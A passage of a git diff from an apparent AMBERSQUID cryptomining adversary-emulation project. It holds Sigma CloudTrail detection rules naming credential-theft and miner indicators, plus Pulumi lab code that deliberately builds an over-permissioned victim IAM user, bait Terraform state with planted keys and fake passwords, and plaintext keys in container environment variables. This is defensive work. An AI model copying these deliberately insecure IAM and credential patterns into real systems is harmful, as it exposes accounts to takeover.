'arn:aws:iam::aws:policy/AdministratorAccess' + selection_role_names: + eventSource: iam.amazonaws.com + eventName: + - CreateRole + - AttachRolePolicy + requestParameters|contains: + - 'AWSCodeCommit-Role' + - 'sugo-role' + - 'ecsTaskExecutionRole' + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + - 'AWSConsole' + filter_cfn: + userAgent|contains: + - 'cloudformation.amazonaws.com' + userIdentity.invokedBy: cloudformation.amazonaws.com + condition: (selection_admin_attach or selection_role_names) and not filter_console and not filter_cfn +falsepositives: + - Break-glass emergency IAM role creation by authorized administrators + - Infrastructure-as-code tools (Terraform, Pulumi) run by authorized pipeline principals + - AWS managed service onboarding workflows that create execution roles +level: high +# AMBERSQUID IOC role names: AWSCodeCommit-Role, sugo-role, ecsTaskExecutionRole +# Correlate multiple CreateRole events within 30 seconds from same sourceIPAddress +# to distinguish AMBERSQUID burst (3 roles) from single legitimate role creation. +# Critical signal: ecsTaskExecutionRole + AdministratorAccess is never legitimate. diff --git a/emulations/ambersquid/detections/sigma_t1525.yml b/emulations/ambersquid/detections/sigma_t1525.yml new file mode 100644 index 0000000..b045ea5 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1525.yml @@ -0,0 +1,72 @@ +# FILE: sigma_t1525.yml +title: AMBERSQUID - CodeCommit Repository Write Access from Attacker Assumed Role +id: d9a4c7e1-3b8f-5d2a-c7e9-1f4b6a8e3c2d +status: experimental +description: > + Detects AMBERSQUID's internal image implantation technique: CodeCommit repository + access and write operations (GetRepository, PutFile, GitPush) from sessions + authenticated as the AWSCodeCommit-Role (attacker-created). AMBERSQUID pushes + SRBMiner-MULTI and deployment scripts (entrypoint.sh, amplify-role.sh, repo.sh, + code.sh, ecs.sh, scale.sh, note.sh, delete.sh) to CodeCommit repos across up to + 16 regions, implanting the miner build pipeline inside victim-controlled + code infrastructure. PutFile and GitPush via CodeCommit generate CloudTrail events + only when performed via the AWS API (not standard git over HTTPS with git credentials). +references: + - https://attack.mitre.org/techniques/T1525/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.persistence + - attack.t1525 +logsource: + product: aws + service: cloudtrail +detection: + selection_codecommit_write: + eventSource: codecommit.amazonaws.com + eventName: + - PutFile + - CreateBranch + - MergePullRequestByFastForward + - MergePullRequestBySquash + - MergePullRequestByThreeWay + userIdentity.type: AssumedRole + selection_codecommit_read_role: + eventSource: codecommit.amazonaws.com + eventName: + - GetRepository + - ListRepositories + - GetBranch + userIdentity.arn|contains: 'AWSCodeCommit-Role' + selection_suspicious_filenames: + eventSource: codecommit.amazonaws.com + eventName: PutFile + requestParameters|contains: + - 'entrypoint.sh' + - 'amplify-role.sh' + - 'stoptrigger.sh' + - 'SRBMiner' + - 'scale.sh' + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + filter_developers: + userIdentity.type: IAMUser + userIdentity.arn|contains: + - ':user/dev-' + - ':user/developer-' + condition: > + (selection_codecommit_write or selection_codecommit_read_role or + selection_suspicious_filenames) + and not filter_console and not filter_developers +falsepositives: + - Automated deployment pipelines pushing to CodeCommit via assumed IAM roles + - Git mirror services synchronizing external repos into CodeCommit + - CodePipeline source stages reading CodeCommit repositories +level: medium +# Note: Standard git push over HTTPS using git credentials does NOT generate +# CloudTrail events. Only API-based writes (PutFile, console pushes) are visible. +# AMBERSQUID IOC filenames in PutFile requestParameters: entrypoint.sh, +# amplify-role.sh, repo.sh, code.sh, ecs.sh, note.sh, delete.sh, scale.sh, +# stoptrigger.sh, restart.sh, amplify.yml, index.py diff --git a/emulations/ambersquid/detections/sigma_t1578.002.yml b/emulations/ambersquid/detections/sigma_t1578.002.yml new file mode 100644 index 0000000..950f028 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1578.002.yml @@ -0,0 +1,74 @@ +# FILE: sigma_t1578.002.yml +title: AMBERSQUID - Multi-Region Compute Infrastructure Burst for Cryptomining +id: a1d5f7b3-2e9c-5a8d-f3b7-9c2e4a6d1f8b +status: experimental +description: > + Detects AMBERSQUID's compute scaling phase: creation of Auto Scaling Groups + (on-demand "task" + spot "task1" naming pattern) and CloudFormation stacks + containing EC2 ImageBuilder pipelines scheduled to run every minute. + AMBERSQUID scale: 8 instances per ASG x 4 regions (on-demand + spot), + 8x ml.t3.2xlarge SageMaker notebooks x 4 regions, ImageBuilder pipelines + with cron-every-minute schedule to continuously refresh miner compute. + Individual signals: ASG named "task" or "task1" from non-console session; + CloudFormation stack creation with ImageBuilder in non-standard pipeline account; + RunInstances with c5.large/c5.xlarge from IAM session without standard fleet role. +references: + - https://attack.mitre.org/techniques/T1578/002/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1578.002 +logsource: + product: aws + service: cloudtrail +detection: + selection_asg_ioc_names: + eventSource: autoscaling.amazonaws.com + eventName: CreateAutoScalingGroup + requestParameters.autoScalingGroupName: + - 'task' + - 'task1' + selection_imagebuilder_pipeline: + eventSource: imagebuilder.amazonaws.com + eventName: + - CreateImagePipeline + - StartImagePipelineExecution + userIdentity.type: AssumedRole + selection_cfn_imagebuilder: + eventSource: cloudformation.amazonaws.com + eventName: CreateStack + requestParameters.templateBody|contains: + - 'ImageBuilder' + - 'AWS::ImageBuilder' + selection_run_instances_non_console: + eventSource: ec2.amazonaws.com + eventName: RunInstances + requestParameters.instanceType: + - 'c5.large' + - 'c5.xlarge' + - 'c5.2xlarge' + userIdentity.type: IAMUser + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + - 'AWSConsole' + filter_legitimate_fleet: + userIdentity.arn|contains: + - ':assumed-role/AWSServiceRoleForAutoScaling' + - ':assumed-role/EC2FleetRole' + condition: > + (selection_asg_ioc_names or selection_imagebuilder_pipeline or + selection_cfn_imagebuilder or selection_run_instances_non_console) + and not filter_console and not filter_legitimate_fleet +falsepositives: + - Legitimate Auto Scaling Groups with generic names in non-production accounts + - ImageBuilder pipelines created by authorized DevOps teams via CLI + - CloudFormation stacks containing ImageBuilder resources for AMI baking pipelines +level: medium +# AMBERSQUID IOC ASG names: "task" (on-demand), "task1" (spot) +# ImageBuilder with cron-every-minute schedule is an extreme outlier — legitimate +# pipelines typically run hourly or less frequently. +# Correlate with T1059.009 multi-service burst occurring within 10 minutes prior +# to elevate to HIGH — AMBERSQUID sequences these immediately after miner deployment. diff --git a/emulations/ambersquid/detections/sigma_t1580.yml b/emulations/ambersquid/detections/sigma_t1580.yml new file mode 100644 index 0000000..977eb84 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1580.yml @@ -0,0 +1,68 @@ +# FILE: sigma_t1580.yml +title: AMBERSQUID - Cloud Infrastructure Discovery with Canary Credential Access +id: e6b2d9f4-1a7c-3e8b-d2f6-7a9c4b1e8d3f +status: experimental +description: > + Detects AMBERSQUID's discovery phase: broad AWS infrastructure enumeration + (DescribeRegions, GetAccountSummary, ListRoles, ListUsers, ListBuckets) followed + by targeted access to high-value artifacts — S3 GetObject on terraform.tfstate + (canary trigger) and SecretsManager GetSecretValue on database credential secrets. + Two high-fidelity sub-patterns: (1) ListBuckets immediately followed by GetObject + on a key containing "terraform.tfstate" or "tfstate" — attacker pivoting from + bucket enumeration to Terraform state theft; (2) GetSecretValue on secrets not + used by application code (canary secrets). +references: + - https://attack.mitre.org/techniques/T1580/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.discovery + - attack.t1580 +logsource: + product: aws + service: cloudtrail +detection: + selection_tfstate: + eventSource: s3.amazonaws.com + eventName: GetObject + requestParameters.key|contains: + - 'terraform.tfstate' + - '.tfstate' + selection_canary_secret: + eventSource: secretsmanager.amazonaws.com + eventName: GetSecretValue + requestParameters.secretId|contains: + - 'prod/database' + - 'master_credentials' + - 'rds/admin' + - 'prod/rds' + selection_iam_mass_enum: + eventSource: iam.amazonaws.com + eventName: + - GetAccountSummary + - ListRoles + - ListUsers + userIdentity.type: IAMUser + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + filter_terraform_runner: + userAgent|contains: + - 'terraform' + - 'HashiCorp' + filter_secret_rotation: + userIdentity.invokedBy: secretsmanager.amazonaws.com + condition: > + (selection_tfstate or selection_canary_secret or selection_iam_mass_enum) + and not filter_console and not filter_terraform_runner and not filter_secret_rotation +falsepositives: + - Terraform CI/CD pipelines reading their own state files from S3 remote backends + - Application code reading RDS credentials from SecretsManager at startup + - Security audit tools (AWS Config, Prowler, Steampipe) performing IAM enumeration +level: high +# Canary-specific: GetObject on S3 bucket with "terraform-state" in bucket name +# from a session that performed ListBuckets within the preceding 60 seconds is +# a definitive indicator of terraform.tfstate credential theft (prod-deploy-svc AKIA key). +# GetSecretValue on prod/database/master_credentials with non-application userAgent +# (no 'aws-sdk' prefix in expected app UA pattern) is a hard canary trigger. diff --git a/emulations/ambersquid/detections/sigma_t1583.001.yml b/emulations/ambersquid/detections/sigma_t1583.001.yml new file mode 100644 index 0000000..f516438 --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1583.001.yml @@ -0,0 +1,47 @@ +# FILE: sigma_t1583.001.yml +title: AMBERSQUID - Amplify App Creation Producing Attacker-Controlled Subdomain +id: e2a7f1b9-4c3d-8e5a-f7b2-1d9c6e3a8f4b +status: experimental +description: > + T1583.001 (Acquire Infrastructure: Domains) generates NO CloudTrail events for AMBERSQUID. + The attacker's amplifyapp.com subdomain (e.g. master.d19tgz4vpyd5.amplifyapp.com) is + a side-effect of CreateApp calls made in victim accounts during prior campaigns — the + domain is assigned automatically by AWS. Detection requires external threat intel + correlation (PassiveDNS, WHOIS, Amplify subdomain enumeration) rather than CloudTrail. + + This rule detects the closest observable proxy: Amplify CreateApp events from + non-console IAM sessions using assumed roles, which is the mechanism AMBERSQUID uses + to acquire amplifyapp.com subdomains as attacker infrastructure. Cross-reference the + resulting app default domain against threat intel on known attacker domains. +references: + - https://attack.mitre.org/techniques/T1583/001/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.resource_development + - attack.t1583.001 +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventSource: amplify.amazonaws.com + eventName: CreateApp + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + - 'Amplify Console' + filter_cicd: + userIdentity.arn|contains: + - ':assumed-role/AWSServiceRoleForAmplify' + condition: selection and not filter_console and not filter_cicd +falsepositives: + - Legitimate Amplify apps created by developers via CLI or SDK + - Infrastructure-as-code pipelines (CDK, Terraform) provisioning Amplify apps + - CI/CD automation creating preview environments +level: informational +# NOTE: Primary detection for AMBERSQUID domain acquisition requires PassiveDNS +# monitoring for newly registered amplifyapp.com subdomains correlated with +# CloudTrail CreateApp events and threat intel IOC feeds. +# AMBERSQUID IOC domain: master.d19tgz4vpyd5.amplifyapp.com diff --git a/emulations/ambersquid/detections/sigma_t1608.001.yml b/emulations/ambersquid/detections/sigma_t1608.001.yml new file mode 100644 index 0000000..6075e9a --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1608.001.yml @@ -0,0 +1,58 @@ +# FILE: sigma_t1608.001.yml +title: AMBERSQUID - Malicious Container Image Staged on External Registry (No CloudTrail Event) +id: c8f3e7a2-1b9d-5c4f-e2a8-7d3b1f9c6e4a +status: experimental +description: > + T1608.001 (Stage Capabilities: Upload Malware) generates NO CloudTrail events. + AMBERSQUID stages a malicious Docker image containing SRBMiner-MULTI (UPX-packed) + on an external or attacker-controlled container registry before targeting victim + accounts. The image entrypoint reads injected AWS credentials from environment + variables and executes miner deployment scripts across multiple AWS services. + + No CloudTrail rule is possible for the staging phase itself. Detection requires: + 1. ECR image scanning (Amazon Inspector / Trivy) if the image is pulled into + victim ECR repositories. + 2. ECS task definition inspection: RegisterTaskDefinition events referencing + ubuntu:22.04 or unrecognized image URIs from non-corporate registries. + 3. GuardDuty finding: UnauthorizedAccess:IAMUser/MaliciousIPCaller on the + account that subsequently uses the staged image. + 4. VirusTotal / threat intel lookups on Docker image digests for UPX-packed ELFs. + + This rule detects the observable downstream artifact: ECS task definitions referencing + images from public registries (not account ECR) registered from non-console sessions. +references: + - https://attack.mitre.org/techniques/T1608/001/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.resource_development + - attack.t1608.001 +logsource: + product: aws + service: cloudtrail +detection: + selection: + eventSource: ecs.amazonaws.com + eventName: RegisterTaskDefinition + requestParameters|contains: + - '"image":"ubuntu' + - '"image":"docker.io' + - '"image":"public.ecr.aws' + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + filter_devops: + userIdentity.arn|contains: + - ':assumed-role/AWSServiceRoleForECS' + condition: selection and not filter_console and not filter_devops +falsepositives: + - Legitimate ECS task definitions using public Docker Hub base images + - Development and test environments pulling ubuntu base images + - AWS-managed ECS demos and sample tasks +level: low +# NOTE: AMBERSQUID IOC image: ubuntu:22.04 (stand-in for SRBMiner-MULTI packed image) +# AMBERSQUID real image contains: SRBMiner-MULTI (UPX-packed), entrypoint.sh, +# amplify-role.sh, repo.sh, code.sh, ecs.sh, scale.sh, note.sh, delete.sh +# Correlate RegisterTaskDefinition with AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY +# present as plaintext container environment variables (visible in requestParameters). diff --git a/emulations/ambersquid/detections/sigma_t1610.yml b/emulations/ambersquid/detections/sigma_t1610.yml new file mode 100644 index 0000000..0870f4a --- /dev/null +++ b/emulations/ambersquid/detections/sigma_t1610.yml @@ -0,0 +1,64 @@ +# FILE: sigma_t1610.yml +title: AMBERSQUID - ECS Task Definition Registered with Admin Role as Execution Role +id: f3c8a5e7-9d2b-7f4c-a1e8-5b3d7f9c2a6e +status: experimental +description: > + Detects AMBERSQUID's container deployment phase: registering ECS Fargate task + definitions that specify an overly permissive IAM role (AdministratorAccess or + attacker-created ecsTaskExecutionRole) as the executionRoleArn. The legitimate + ECS task execution role requires only minimal permissions (ECR pull, CloudWatch + Logs write). An attacker-created role with AdministratorAccess as executionRoleArn + grants the container unrestricted AWS API access — a hard indicator of malicious + task definition registration. AMBERSQUID scale: miner-fargate-task registered + with 1024 CPU, 2048 MB memory, targeting 30 tasks x 16 regions. +references: + - https://attack.mitre.org/techniques/T1610/ + - https://unit42.paloaltonetworks.com/ambersquid/ +author: MayaTrail +date: 2026/04/15 +tags: + - attack.defense_evasion + - attack.t1610 +logsource: + product: aws + service: cloudtrail +detection: + selection_admin_exec_role: + eventSource: ecs.amazonaws.com + eventName: RegisterTaskDefinition + requestParameters|contains: 'ecsTaskExecutionRole' + selection_miner_task_families: + eventSource: ecs.amazonaws.com + eventName: RegisterTaskDefinition + requestParameters|contains: + - '"family":"miner' + - '"family":"task"' + - '"name":"srbminer"' + - '"name":"miner"' + selection_create_service_fargate: + eventSource: ecs.amazonaws.com + eventName: CreateService + requestParameters|contains: 'FARGATE' + userIdentity.type: AssumedRole + filter_console: + userAgent|contains: + - 'console.aws.amazon.com' + filter_ecs_service: + userIdentity.invokedBy: ecs.amazonaws.com + filter_cfn: + userIdentity.invokedBy: cloudformation.amazonaws.com + condition: > + (selection_admin_exec_role or selection_miner_task_families or + selection_create_service_fargate) + and not filter_console and not filter_ecs_service and not filter_cfn +falsepositives: + - Legitimate ECS task definitions where the executionRole happens to be named ecsTaskExecutionRole + - Development environments using broad permissions for debugging ECS tasks + - AWS CDK or Terraform creating ECS resources from pipeline assumed roles +level: high +# AMBERSQUID IOC task family names: miner-fargate-task, miner-task +# AMBERSQUID IOC container names: srbminer, miner +# Critical indicator: executionRoleArn containing "ecsTaskExecutionRole" with +# AdministratorAccess attached — validate by cross-referencing IAM role policies. +# RegisterTaskDefinition with POOL, WALLET, ALGO environment variable names is +# a direct miner configuration indicator visible in requestParameters. diff --git a/emulations/ambersquid/infra/Pulumi.yaml b/emulations/ambersquid/infra/Pulumi.yaml new file mode 100644 index 0000000..2311021 --- /dev/null +++ b/emulations/ambersquid/infra/Pulumi.yaml @@ -0,0 +1,3 @@ +name: mayatrail-ambersquid +runtime: python +description: AMBERSQUID cryptomining adversary emulation infrastructure diff --git a/emulations/ambersquid/infra/__init__.py b/emulations/ambersquid/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/ambersquid/infra/__main__.py b/emulations/ambersquid/infra/__main__.py new file mode 100644 index 0000000..794eb6e --- /dev/null +++ b/emulations/ambersquid/infra/__main__.py @@ -0,0 +1,589 @@ +import json +import os +import subprocess +import sys + +import pulumi +import pulumi_aws as aws + +# Cross-platform UTF-8 output +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +# ── Account / Region ────────────────────────────────────────────────────────── +# aws.get_caller_identity() / aws.get_region() return sync values at module level +account_id = aws.get_caller_identity().account_id +region = aws.get_region().id # .id not .name (pulumi-aws v7) + +TAGS = { + "MayaTrail": "true", + "Purpose": "adversary-emulation", + "ThreatActor": "AMBERSQUID", + "Platform": "aws", +} + +# ── Resource Name Constants (single source of truth) ────────────────────────── +CLUSTER_NAME = "ambersquid-cluster" +TRAIL_NAME = "ambersquid-trail" +TASK_FAMILY = "ambersquid-miner" +LOG_GROUP_NAME = "/ecs/ambersquid" +VICTIM_USER_NAME = "ambersquid-victim" +HONEY_USER_NAME = "prod-deploy-svc" +CODECOMMIT_REPO_NAME = "test" +ECS_EXEC_ROLE_NAME = "ambersquid-ecs-execution-role" +CANARY_SECRET_NAME = "prod/database/master_credentials" + +# ── VPC ─────────────────────────────────────────────────────────────────────── +vpc = aws.ec2.Vpc( + "ambersquid-vpc", + cidr_block="10.99.0.0/16", + enable_dns_hostnames=True, + enable_dns_support=True, + tags={"Name": "ambersquid-vpc", **TAGS}, +) + +# ── Internet Gateway + routing ──────────────────────────────────────────────── +igw = aws.ec2.InternetGateway( + "ambersquid-igw", + vpc_id=vpc.id, + tags={"Name": "ambersquid-igw", **TAGS}, +) + +route_table = aws.ec2.RouteTable( + "ambersquid-rt", + vpc_id=vpc.id, + routes=[ + aws.ec2.RouteTableRouteArgs( + cidr_block="0.0.0.0/0", + gateway_id=igw.id, + ) + ], + tags={"Name": "ambersquid-rt", **TAGS}, +) + +subnet = aws.ec2.Subnet( + "ambersquid-public-subnet", + vpc_id=vpc.id, + cidr_block="10.99.1.0/24", + availability_zone="us-east-1a", + map_public_ip_on_launch=True, + tags={"Name": "ambersquid-public-subnet", **TAGS}, +) + +aws.ec2.RouteTableAssociation( + "ambersquid-rt-assoc", + subnet_id=subnet.id, + route_table_id=route_table.id, +) + +# ── Security Group (HTTPS egress only; all mining pool ports implicitly denied) ─ +task_sg = aws.ec2.SecurityGroup( + "ambersquid-task-sg", + vpc_id=vpc.id, + description="ECS task SG - HTTPS egress only for AWS API calls", + egress=[ + aws.ec2.SecurityGroupEgressArgs( + from_port=443, + to_port=443, + protocol="tcp", + cidr_blocks=["0.0.0.0/0"], + description="AWS API endpoint access", + ) + ], + tags={"Name": "ambersquid-task-sg", **TAGS}, +) + +# ── CloudWatch Log Group ────────────────────────────────────────────────────── +log_group = aws.cloudwatch.LogGroup( + "ambersquid-log-group", + name=LOG_GROUP_NAME, + retention_in_days=7, + tags=TAGS, +) + +# ── CloudTrail S3 Bucket (T1070 target — no s3:DeleteObject Deny per plan) ─── +ct_bucket = aws.s3.BucketV2( + "ambersquid-cloudtrail-bucket", + bucket=f"ambersquid-cloudtrail-logs-{account_id}", + force_destroy=True, + tags=TAGS, +) + +aws.s3.BucketVersioningV2( + "ambersquid-ct-versioning", + bucket=ct_bucket.id, + versioning_configuration=aws.s3.BucketVersioningV2VersioningConfigurationArgs( + status="Enabled" + ), +) + +aws.s3.BucketServerSideEncryptionConfigurationV2( + "ambersquid-ct-encryption", + bucket=ct_bucket.id, + rules=[ + aws.s3.BucketServerSideEncryptionConfigurationV2RuleArgs( + apply_server_side_encryption_by_default=aws.s3.BucketServerSideEncryptionConfigurationV2RuleApplyServerSideEncryptionByDefaultArgs( + sse_algorithm="AES256" + ) + ) + ], +) + +# CloudTrail bucket policy — GetBucketAcl + PutObject with x-amz-acl condition +ct_bucket_policy_doc = ct_bucket.arn.apply( + lambda bucket_arn: json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "AWSCloudTrailAclCheck", + "Effect": "Allow", + "Principal": {"Service": "cloudtrail.amazonaws.com"}, + "Action": "s3:GetBucketAcl", + "Resource": bucket_arn, + }, + { + "Sid": "AWSCloudTrailWrite", + "Effect": "Allow", + "Principal": {"Service": "cloudtrail.amazonaws.com"}, + "Action": "s3:PutObject", + "Resource": f"{bucket_arn}/AWSLogs/{account_id}/*", + "Condition": { + "StringEquals": {"s3:x-amz-acl": "bucket-owner-full-control"} + }, + }, + ], + }) +) + +ct_bucket_policy = aws.s3.BucketPolicy( + "ambersquid-ct-bucket-policy", + bucket=ct_bucket.id, + policy=ct_bucket_policy_doc, +) + +# ── CloudTrail (detection + T1070 target) ──────────────────────────────────── +trail = aws.cloudtrail.Trail( + "ambersquid-cloudtrail", + name=TRAIL_NAME, + s3_bucket_name=ct_bucket.id, + is_multi_region_trail=True, + include_global_service_events=True, + enable_log_file_validation=True, + enable_logging=True, + event_selectors=[ + aws.cloudtrail.TrailEventSelectorArgs( + read_write_type="All", + include_management_events=True, + ) + ], + tags=TAGS, + opts=pulumi.ResourceOptions(depends_on=[ct_bucket_policy]), +) + +# ── Terraform State Bait Bucket (T1580 opportunistic discovery) ─────────────── +tfstate_bucket = aws.s3.BucketV2( + "ambersquid-terraform-state-bucket", + bucket=f"prod-infra-terraform-state-{account_id}", + force_destroy=True, + tags={**TAGS, "Environment": "production", "ManagedBy": "terraform"}, +) + +# ── Canary Secret (T1580 enumeration bait) ──────────────────────────────────── +canary_secret = aws.secretsmanager.Secret( + "ambersquid-canary-secret", + name=CANARY_SECRET_NAME, + description="RDS master credentials for production cluster", + recovery_window_in_days=0, + tags={**TAGS, "Environment": "production", "Team": "data"}, +) + +aws.secretsmanager.SecretVersion( + "ambersquid-canary-secret-version", + secret_id=canary_secret.id, + secret_string=json.dumps({ + "username": "dbadmin", + "password": "Pr0dMasterKey#2024!zQ", + "host": "prod-db-cluster.cluster-cxyz1234abcd.us-east-1.rds.amazonaws.com", + "port": 5432, + "dbname": "production", + }), +) + +# ── Victim IAM User (over-permissioned; creds injected into ECS task env) ───── +victim_user = aws.iam.User( + "ambersquid-victim-iam-user", + name=VICTIM_USER_NAME, + tags=TAGS, +) + +aws.iam.UserPolicy( + "ambersquid-victim-policy", + name="ambersquid-victim-policy", + user=victim_user.name, + policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "IAMRoleAndCredentialManipulation", + "Effect": "Allow", + "Action": [ + "iam:CreateRole", + "iam:DeleteRole", + "iam:AttachRolePolicy", + "iam:DetachRolePolicy", + "iam:PutRolePolicy", + "iam:DeleteRolePolicy", + "iam:PassRole", + "iam:CreateUser", + "iam:CreateAccessKey", + "iam:ListRoles", + "iam:ListUsers", + "iam:GetRole", + "iam:GetUser", + "iam:ListAttachedRolePolicies", + "sts:AssumeRole", + ], + "Resource": "*", + }, + { + "Sid": "MinerDeploymentServices", + "Effect": "Allow", + "Action": [ + "ecs:*", + "sagemaker:*", + "codebuild:*", + "amplify:*", + "imagebuilder:*", + "autoscaling:*", + "glue:*", + "ec2:DescribeInstances", + "ec2:DescribeRegions", + "ec2:DescribeSubnets", + "ec2:DescribeSecurityGroups", + "ec2:DescribeVpcs", + "ec2:CreateLaunchTemplate", + "ec2:DescribeLaunchTemplates", + ], + "Resource": "*", + }, + { + "Sid": "CodeAndInfraServices", + "Effect": "Allow", + "Action": ["codecommit:*", "cloudformation:*"], + "Resource": "*", + }, + { + "Sid": "ContainerRegistry", + "Effect": "Allow", + "Action": [ + "ecr:GetAuthorizationToken", + "ecr:BatchGetImage", + "ecr:DescribeRepositories", + "ecr:ListImages", + ], + "Resource": "*", + }, + { + "Sid": "DiscoveryAndIndicatorRemoval", + "Effect": "Allow", + "Action": [ + "logs:*", + "cloudtrail:StopLogging", + "cloudtrail:DeleteTrail", + "cloudtrail:UpdateTrail", + "cloudtrail:DescribeTrails", + "cloudtrail:GetTrailStatus", + "s3:ListAllMyBuckets", + "s3:ListBucket", + "s3:GetObject", + "s3:PutObject", + "s3:DeleteObject", + "secretsmanager:ListSecrets", + "secretsmanager:GetSecretValue", + ], + "Resource": "*", + }, + ], + }), +) + +victim_key = aws.iam.AccessKey( + "ambersquid-victim-access-key", + user=victim_user.name, + status="Active", +) + +# ── Honey IAM User (no policy; any use generates AuthFailure CloudTrail event) ─ +honey_user = aws.iam.User( + "ambersquid-honey-iam-user", + name=HONEY_USER_NAME, + tags={ + **TAGS, + "Environment": "production", + "Team": "platform", + "ManagedBy": "terraform", + }, +) + +honey_key = aws.iam.AccessKey( + "ambersquid-honey-access-key", + user=honey_user.name, + status="Active", +) + +# ── Bait terraform.tfstate — real honey key embedded to complete bait chain ─── +tfstate_content = pulumi.Output.all(honey_key.id, honey_key.secret).apply( + lambda args: json.dumps( + { + "version": 4, + "terraform_version": "1.5.7", + "serial": 42, + "lineage": "a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "outputs": { + "deploy_access_key_id": {"value": args[0], "type": "string"}, + "deploy_secret_access_key": { + "value": args[1], + "type": "string", + "sensitive": True, + }, + }, + "resources": [ + { + "module": "module.iam", + "mode": "managed", + "type": "aws_iam_access_key", + "name": "deploy_svc", + "provider": 'provider["registry.terraform.io/hashicorp/aws"]', + "instances": [ + { + "schema_version": 0, + "attributes": { + "id": args[0], + "secret": args[1], + "user": HONEY_USER_NAME, + "status": "Active", + }, + } + ], + }, + { + "module": "module.rds", + "mode": "managed", + "type": "aws_db_instance", + "name": "prod_primary", + "provider": 'provider["registry.terraform.io/hashicorp/aws"]', + "instances": [ + { + "schema_version": 0, + "attributes": { + "id": "prod-db-cluster", + "endpoint": "prod-db-cluster.cluster-cxyz1234abcd.us-east-1.rds.amazonaws.com", + "username": "admin", + "password": "Sup3rS3cr3tProd2024!", + }, + } + ], + }, + ], + }, + indent=2, + ) +) + +aws.s3.BucketObject( + "ambersquid-tfstate-object", + bucket=tfstate_bucket.id, + key="terraform.tfstate", + content=tfstate_content, + content_type="application/json", +) + +# Bucket policy: victim user can read the bait tfstate (T1580 discovery path) +tfstate_bucket_policy_doc = pulumi.Output.all( + tfstate_bucket.arn, victim_user.arn +).apply( + lambda args: json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VictimReadBait", + "Effect": "Allow", + "Principal": {"AWS": args[1]}, + "Action": ["s3:GetObject", "s3:ListBucket"], + "Resource": [args[0], f"{args[0]}/*"], + } + ], + }) +) + +aws.s3.BucketPolicy( + "ambersquid-tfstate-bucket-policy", + bucket=tfstate_bucket.id, + policy=tfstate_bucket_policy_doc, +) + +# ── ECS Task Execution Role (infra role; attacker ecsTaskExecutionRole with +# AdministratorAccess is created at runtime by attack.py via iam:CreateRole) ─ +ecs_exec_role = aws.iam.Role( + "ambersquid-ecs-execution-role", + name=ECS_EXEC_ROLE_NAME, + assume_role_policy=json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": {"Service": "ecs-tasks.amazonaws.com"}, + "Action": "sts:AssumeRole", + } + ], + }), + tags=TAGS, +) + +aws.iam.RolePolicyAttachment( + "ambersquid-ecs-exec-policy-attach", + role=ecs_exec_role.name, + policy_arn="arn:aws:iam::aws:policy/service-role/AmazonECSTaskExecutionRolePolicy", +) + +# ── ECS Cluster ─────────────────────────────────────────────────────────────── +ecs_cluster = aws.ecs.Cluster( + "ambersquid-ecs-cluster", + name=CLUSTER_NAME, + settings=[ + aws.ecs.ClusterSettingArgs(name="containerInsights", value="enabled") + ], + tags=TAGS, +) + +# ── ECS Task Definition (no service — T1610 simulated, desiredCount=0) ──────── +# ubuntu:22.04 is benign stand-in for T1608.001-staged miner image +# sleep infinity simulates T1496 without any actual compute cost +container_defs = pulumi.Output.all(victim_key.id, victim_key.secret).apply( + lambda args: json.dumps([ + { + "name": "miner-container", + "image": "ubuntu:22.04", + "command": ["sleep", "infinity"], + "environment": [ + {"name": "AWS_ACCESS_KEY_ID", "value": args[0]}, + {"name": "AWS_SECRET_ACCESS_KEY", "value": args[1]}, + {"name": "AWS_DEFAULT_REGION", "value": "us-east-1"}, + ], + "logConfiguration": { + "logDriver": "awslogs", + "options": { + "awslogs-group": LOG_GROUP_NAME, + "awslogs-region": "us-east-1", + "awslogs-stream-prefix": "miner", + }, + }, + } + ]) +) + +task_def = aws.ecs.TaskDefinition( + "ambersquid-task-definition", + family=TASK_FAMILY, + network_mode="awsvpc", + requires_compatibilities=["FARGATE"], + cpu="256", + memory="512", + execution_role_arn=ecs_exec_role.arn, + container_definitions=container_defs, + tags=TAGS, + opts=pulumi.ResourceOptions(depends_on=[log_group]), +) + +# ── CodeCommit Repo (empty — T1525 simulated; no malicious binaries pushed) ─── +codecommit_repo = aws.codecommit.Repository( + "ambersquid-codecommit-repo", + repository_name=CODECOMMIT_REPO_NAME, + description="Internal build artifacts", + tags=TAGS, +) + +# ── Stack Exports ───────────────────────────────────────────────────────────── +pulumi.export("victim_access_key_id", pulumi.Output.secret(victim_key.id)) +pulumi.export("victim_secret_access_key", pulumi.Output.secret(victim_key.secret)) +pulumi.export("honey_access_key_id", pulumi.Output.secret(honey_key.id)) +pulumi.export("ecs_cluster_name", ecs_cluster.name) +pulumi.export("task_definition_arn", task_def.arn) +pulumi.export("cloudtrail_trail_name", trail.name) 